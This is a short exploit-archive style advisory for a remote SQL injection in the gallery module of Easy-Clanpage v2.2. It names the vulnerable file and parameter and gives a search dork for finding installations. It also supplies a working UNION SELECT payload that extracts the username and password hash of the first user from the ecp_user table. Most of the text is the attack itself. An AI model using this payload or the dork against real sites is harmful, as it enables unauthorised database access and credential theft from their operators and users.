.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-. ~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~ .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-. [+] Author: n3w7u [+] Mail: n3w7u@gmx.net [+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14 [+] Dork: "Easy-Clanpage v2.2" .-=--=--=--=--=--=--=--=--=--=--=-. [+] Vuln File: /modules/gallery/index.php [+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id= [+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*